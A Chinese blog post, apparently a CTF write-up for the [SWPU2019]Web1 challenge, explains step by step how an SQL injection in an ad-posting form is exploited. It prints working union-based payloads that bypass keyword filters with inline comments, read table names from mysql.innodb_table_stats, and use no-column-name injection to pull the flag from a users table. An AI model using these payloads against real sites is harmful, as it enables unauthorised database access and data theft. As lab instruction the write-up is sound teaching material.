当前位置:网站首页>[SWPU2019]Web1
[SWPU2019]Web1
2022-08-05 03:52:00 【pakho_C】
[SWPU2019]Web1
尝试注册admin,显示已存在,爆破密码没爆出来
注册一个test账户 登陆
申请发布广告
尝试注入
使用单引号尝试,报错
说明存在注入,尝试万能密码
有过滤,尝试fuzz,但是限制了次数和不允许相同广告标题
所以只能手动测试,过滤了 or order floor updatexml # – 等,并且自动消除了空格,尝试内联注释/**/绕过
由于or被过滤,那么information_schema就无法使用,只能使用无列名注入,参考:SQL注入之无列名注入
1.使用group by获取列数:1'/**/group/**/by/**/22,'1
1'/**/group/**/by/**/23,'1
得到列数为22
2.使用联合查询查看回显点:-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
得到回显点为 2 3
接着查表名的时候发现or被过滤,且无法通过大小写和双写绕过,那么information_schema因为含有or,所以也没法使用。这里有两种方法可以绕过
InnoDb引擎
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。
sys数据库
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。
注:sys库需要root权限才能访问。innodb在mysql中是默认关闭的。
3.使用innodb绕过,查看表名:-1'union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()&&'1'='1
得到表名为 ads users
4.使用无列名注入查看users表中的第二个字段的内容:
-1'/**/union/**/select/**/1,(select/**/group_concat(`2`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
注:这里的联合注入使用的select 1,2,3可以测试出来,如果不匹配会有提醒
测出来为3列
得到字段名为flag,那么第三个字段中第一个值就是flag
将要查询的列改为3即可
-1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)n),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
边栏推荐
- Developing Hololens encountered The type or namespace name 'HandMeshVertex' could not be found..
- Redis1: Introduction to Redis, basic features of Redis, relational database, non-relational database, database development stage
- Hard power or soft power, which is more important to testers?
- ffmpeg pixel format basics
- 七夕节代码表白
- 2022.8.4-----leetcode.1403
- UE4 通过与其它Actor互动开门
- Dameng 8 database export and import
- Spark基础【介绍、入门WordCount案例】
- 阿里本地生活单季营收106亿,大文娱营收72亿,菜鸟营收121亿
猜你喜欢
iMedicalLIS listener (2)
36-Jenkins-Job Migration
Solana NFT开发指南
.NET Application -- Helloworld (C#)
shell脚本:for循环与while循环
The test salary is so high?20K just graduated
[Solved] Unity Coroutine coroutine is not executed effectively
UE4 通过互动(键盘按键)开门
Defect detection (image processing part)
Use Unity to publish APP to Hololens2 without pit tutorial
随机推荐
.NET Application -- Helloworld (C#)
UE4 后期处理体积 (角色受到伤害场景颜色变淡案例)
七夕节代码表白
Fifteen. Actual combat - MySQL database building table character set and collation
Redis1: Introduction to Redis, basic features of Redis, relational database, non-relational database, database development stage
ffmpeg pixel format basics
[Solved] Unity Coroutine coroutine is not executed effectively
十五. 实战——mysql建库建表 字符集 和 排序规则
Ffmpeg - sources analysis
iMedicalLIS监听程序(2)
Common open source databases under Linux, how many do you know?
The second council meeting of the Dragon Lizard Community was successfully held!Director general election, 4 special consultants joined
SkiaSharp 之 WPF 自绘 粒子花园(案例版)
10 years of testing experience, worthless in the face of the biological age of 35
2022-08-04 The sixth group, hidden from spring, study notes
队列题目:最近的请求次数
markdown如何换行——md文件
Dive into how it works together by simulating Vite
Shell script: for loop and the while loop
[Qixi Festival] Romantic Tanabata, code teaser.Turn love into a gorgeous three-dimensional scene and surprise her (him)!(send code)